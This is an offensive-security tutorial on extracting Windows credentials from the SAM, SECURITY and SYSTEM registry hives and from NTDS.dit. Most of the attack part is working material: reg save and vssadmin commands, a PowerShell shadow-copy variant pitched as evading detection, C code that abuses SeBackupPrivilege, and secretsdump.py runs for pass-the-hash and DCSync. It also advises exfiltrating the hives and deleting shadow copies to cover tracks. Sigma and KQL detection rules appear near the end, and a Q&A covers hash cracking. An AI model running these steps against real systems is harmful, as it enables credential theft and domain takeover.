SAM and Registry Credential Dumping
Registry-based credential extraction: SAM hive structure, SYSKEY/BOOTKEY encryption, reg save for live hive copy, VSS shadow copy access, SeBackupPrivilege raw file reads, Impacket secretsdump.py, and full NTDS.dit domain extraction from a Domain Controller.
You have SYSTEM on a domain-joined Windows Server and Credential Guard is enabled — LSASS dumping yields nothing useful. But the SAM hive contains local account hashes (including the built-in Administrator), the SECURITY hive contains domain-cached credentials (DCC2 hashes from the last ten domain logons), and on the Domain Controller, NTDS.dit contains every domain account's NT hash. None of these require reading LSASS memory. You need the SAM and SECURITY hives, the SYSTEM hive (for the BOOTKEY), and optionally NTDS.dit — then offline parsing via Impacket's secretsdump or Mimikatz can decrypt everything.
SAM Hive Encryption Architecture
reg save — Live Hive Copy
# reg save exports a live registry hive to a file
# Requires: admin rights (SYSTEM preferred)
# The SAM hive is locked by the OS — reg save uses a VSC snapshot internally
# to capture a consistent copy
# Export the three required hives
reg save HKLM\SAM C:\Temp\sam.hive /y
reg save HKLM\SYSTEM C:\Temp\system.hive /y
reg save HKLM\SECURITY C:\Temp\security.hive /y
# Exfiltrate the three files, then parse offline with secretsdump:
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
# Output format:
# [*] Decrypting SAM hashes
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# field: username:RID:LM_hash:NT_hash:::
# LM hash aad3b435... = empty LM hash placeholder
# NT hash 31d6cfe0... = empty password (example — use real hashes in your lab)
#
# [*] Decrypting LSA Secrets
# $MACHINE.ACC: ... (machine account hash — enables Kerberos from machine account)
# DefaultPassword: ... (autologon password in plaintext if set)
# DPAPI_SYSTEM: ... (DPAPI master key decrypt for SYSTEM context)
#
# [*] Decrypting cached domain credentials
# DOMAIN/username:$DCC2$10240#username#...::: (DCC2 hash — slow to crack)
VSS Shadow Copy Method
# Volume Shadow Copy Service: access locked files that the OS holds open
# Windows creates VSS snapshots during backup operations
# We can create one on-demand, then access the SAM hive through the shadow copy path
# Check existing shadow copies (may already have one)
vssadmin list shadows
# Create new shadow copy
vssadmin create shadow /for=C:
# Output: Shadow Copy ID: {GUID}
# Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
# Access hives via shadow copy (bypasses OS lock on C:\Windows\System32\config\)
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM" C:\Temp\sam.hive
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\Temp\system.hive
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY" C:\Temp\security.hive
# Cleanup (delete shadow copy to cover tracks)
vssadmin delete shadows /Shadow={GUID} /quiet
# PowerShell alternative (more verbose but avoids vssadmin.exe detection)
$vss = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\", "ClientAccessible")
$sc = Get-WmiObject Win32_ShadowCopy | Sort-Object InstallDate | Select-Object -Last 1
$shadowPath = $sc.DeviceObject + "\"
Copy-Item "${shadowPath}Windows\System32\config\SAM" C:\Temp\sam.hive
SeBackupPrivilege Raw File Read
// SeBackupPrivilege: assigned to Backup Operators group
// Allows bypassing DACL on any file by opening with FILE_FLAG_BACKUP_SEMANTICS
// No shadow copy needed — directly reads locked registry hive files
BOOL BackupReadFile(const wchar_t* src, const wchar_t* dst) {
// Enable SeBackupPrivilege on current token
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
TOKEN_PRIVILEGES tp = {1};
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
LookupPrivilegeValueW(NULL, SE_BACKUP_NAME, &tp.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
// Open with FILE_FLAG_BACKUP_SEMANTICS — bypasses DACL checks
HANDLE hSrc = CreateFileW(src,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hSrc == INVALID_HANDLE_VALUE) return FALSE;
HANDLE hDst = CreateFileW(dst, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
BYTE buf[65536];
DWORD read, written;
while (ReadFile(hSrc, buf, sizeof(buf), &read, NULL) && read > 0)
WriteFile(hDst, buf, read, &written, NULL);
CloseHandle(hSrc);
CloseHandle(hDst);
return TRUE;
}
// Usage:
BackupReadFile(L"C:\\Windows\\System32\\config\\SAM", L"C:\\Temp\\sam.hive");
BackupReadFile(L"C:\\Windows\\System32\\config\\SYSTEM", L"C:\\Temp\\system.hive");
// Works even without admin: Backup Operators is sufficient, not SYSTEM required
Impacket secretsdump.py — Full Parse Walk
# secretsdump.py supports remote and local extraction
# Remote (authenticated DC session): extracts NTDS.dit via DRSUAPI (DCSync)
# Local: parses exported hive files without touching the live system
# Remote SAM dump (admin creds required)
secretsdump.py DOMAIN/Administrator:Password@10.10.10.5
# Remote NTDS dump via DRSUAPI (Domain Admin required on DC)
secretsdump.py DOMAIN/DomainAdmin:Password@dc01.domain.local -just-dc
# Remote with NTLM hash (Pass-the-Hash)
secretsdump.py -hashes :a87f3a337d73085c45f9416be5787d86 DOMAIN/Administrator@dc01.domain.local
# Specific secrets only
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
secretsdump.py -ntds ntds.dit -system system.hive -hashes lmhash:nthash LOCAL
# Output types explained:
# domain\user:RID:LM:NT::: SAM local account hashes
# domain\user:RID:LM:NT::: NTDS domain account hashes
# domain\user$:RID:LM:NT::: Machine account (NTLM for Silver Ticket)
# $DCC2$10240#user#... Domain Cached Credentials version 2
# _SC_DPAPI_SYSTEM SYSTEM DPAPI master key
# $MACHINE.ACC Machine account NT hash
# DefaultPassword Autologon plaintext password (if configured)
# SECURITY/Policy/Secrets/* Named LSA secrets (service account passwords)
NTDS.dit — Full Domain Extract
Detection Engineering
-- Sigma: reg save of sensitive hives
title: Registry Save of Credential-Bearing Hives (SAM/SECURITY/SYSTEM)
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\reg.exe'
CommandLine|contains:
- 'save'
CommandLine|contains:
- 'HKLM\SAM'
- 'HKLM\SECURITY'
- 'HKLM\SYSTEM'
condition: selection
level: high
-- Sigma: ntdsutil.exe IFM creation (NTDS.dit extract)
title: NTDS.dit Extraction via ntdsutil IFM
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\ntdsutil.exe'
CommandLine|contains|all:
- 'ifm'
- 'create'
condition: selection
level: critical
-- Sigma: DCSync via DRSUAPI replication (4662 — AD object access)
title: DCSync — Directory Replication Services Access
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
ObjectType: '%{19195a5b-6da0-11d0-afd3-00c04fd930c9}' # domainDNS object
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes-All
filter_legit:
SubjectUserName|endswith: '$' # exclude machine accounts (legitimate DC replication)
condition: selection AND NOT filter_legit
level: critical
-- MDE KQL: shadow copy creation for credential access
DeviceProcessEvents
| where FileName in~ ("vssadmin.exe", "wmic.exe")
| where ProcessCommandLine has_any ("shadow", "create")
| where ProcessCommandLine !has "backup" // filter legitimate backup jobs
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName
| Method | Hives Needed | Admin Req | Touches LSASS | Primary Detection |
|---|---|---|---|---|
| reg save + secretsdump | SAM + SYSTEM + SECURITY | Yes | No | Event 4656/4663 on SAM; reg.exe cmdline |
| VSS shadow copy | Same via shadow path | Yes | No | vssadmin.exe process creation; shadow object creation Event 8222 |
| SeBackupPrivilege raw read | Same via FILE_FLAG_BACKUP_SEMANTICS | Backup Operators | No | 4656 with SE_BACKUP_PRIVILEGE; 4663 on SAM file |
| ntdsutil IFM | NTDS.dit | Domain Admin | No | ntdsutil.exe with "ifm create" cmdline |
| DRSUAPI DCSync | None (RPC) | Replication rights | No | Event 4662 DS-Replication-Get-Changes-All from non-DC account |
Q&A
What is the difference between DCC1 (MSCache) and DCC2 (MSCachev2) hashes, and can you crack them?
Domain Cached Credentials (DCC) store the last N successful domain logon hashes on a machine so users can log in when the DC is unreachable. DCC1 (MSCachev1) — used on Windows XP and Server 2003: the hash is MD4(MD4(password) || lower(username)). It's essentially a modified NTLM hash and can be cracked with hashcat mode 1100 at reasonable speed. DCC2 (MSCachev2) — used on Windows Vista+ (the current default): the hash is PBKDF2(HMAC-SHA1, DCC1, username, iterations=10240). The PBKDF2 iteration count (10240 by default) makes brute-force dramatically slower — roughly 100x slower than NTLM on a modern GPU. Hashcat mode 2100 handles DCC2. Cracking is feasible if: the password is in a wordlist, the password is short (<8 chars), or you have significant GPU resources. Operationally, DCC2 hashes are not directly usable for Pass-the-Hash — you cannot authenticate with a DCC2 hash against a DC; you need either the plaintext password (from cracking) or an NT hash. The NT hash stored in NTDS.dit is directly usable for PtH. Detection teams should alert on any access to the SECURITY hive or its cached-credentials subkey (HKLM\SECURITY\Cache) as an anomalous activity — there's no legitimate user-space reason to read those registry entries outside of domain authentication infrastructure.